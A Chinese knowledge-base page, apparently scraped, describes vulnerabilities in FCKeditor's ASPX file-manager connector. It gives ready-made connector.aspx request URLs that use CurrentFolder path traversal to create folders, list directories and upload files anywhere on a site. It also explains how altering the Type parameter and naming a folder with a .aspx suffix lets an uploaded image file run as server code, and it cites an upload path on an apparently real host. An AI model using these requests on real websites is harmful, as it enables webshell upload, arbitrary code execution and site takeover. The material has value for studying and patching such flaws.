0514-86177077

9:00-17:00（工作日）

主页 > 知识库 > FCKeditor 新闻组件的一些程序漏洞

FCKeditor 新闻组件的一些程序漏洞
热门标签：企业电话机器人办理 四平电话机器人哪家好 株洲外呼营销系统有哪些 长春防封卡电销卡套餐 智能电销机器人真的好吗 长春销售外呼系统业务 灵声智能电话机器人招聘 天津电销卡外呼系统线路 兴化400电话办理多少钱
1 CurrentFolder 参数，可以在网站中不同目录新建文件夹，参数使用 ../../来篡改参数，进入不同的目录
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolderType=ImageCurrentFolder=../../..%2FNewFolderName=aspx.asp


2 CurrentFolder 参数，根据返回的XML信息可以查看网站所有的目录，比如 “../../../”进入不同的目录，让后通过XML返回的消息就可以看到没有权限的页面browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFilesType=ImageCurrentFolder=%2F

3 上传文件时，通过修改CurrentFolder参数，可以将文件上传到不同的目录
/browser/default/connectors/aspx/connector.aspx?Command=FileUploadType=ImageCurrentFolder=%2F

4 同时修改Type 和CurrentFolder 参数，可以上传任意类型文件到网站任意目录，基本上网站就完蛋了。
/browser/default/connectors/aspx/connector.aspx?Command=FileUploadType=ImageCurrentFolder=%2F

http://samsungfriend.local.opentide.com.cn/upload/fckroots/Image/asp.asp/asp.asp



5 通过创建文件夹的功能，创建名字带有.aspx的文件夹，如：file.aspx等，利用文件解析漏洞，在该文件夹下上传有代码的.jpg 或.rar等文件（实际文件是.aspx，把文件名该后缀），上传之后就可以利用漏洞执行代码了。 如：www.xxx.com/upload/file.aspx/123.jpg 输入之后，代码被成功执行。

标签：运城 贵港 黑龙江 新疆 石嘴山 青海 漯河 巴彦淖尔

巨人网络通讯声明：本文标题《FCKeditor 新闻组件的一些程序漏洞》，本文关键词  FCKeditor,新闻,组件,的,一些,；如发现本文内容存在版权问题，烦请提供相关信息告之我们，我们将及时沟通与处理。本站内容系统采集于网络，涉及言论、版权与本站无关。
  • 相关文章
  • 下面列出与本文章《FCKeditor 新闻组件的一些程序漏洞》相关的同类信息！
  • 本页收集关于FCKeditor 新闻组件的一些程序漏洞的相关信息资讯供网民参考！
    • 推荐文章

    上一篇：fckeditor php上传文件重命名的设置

    下一篇：FckEditor 配置手册中文教程详细说明

    Copyright © 1999-2012 诚信 合法 规范的巨人网络通讯始建于2005年

    苏ICP备15040257号-8

    产品关键词： FCKeditor 新闻组件的一些程序漏洞 FCKeditor,新闻,组件,的,一些,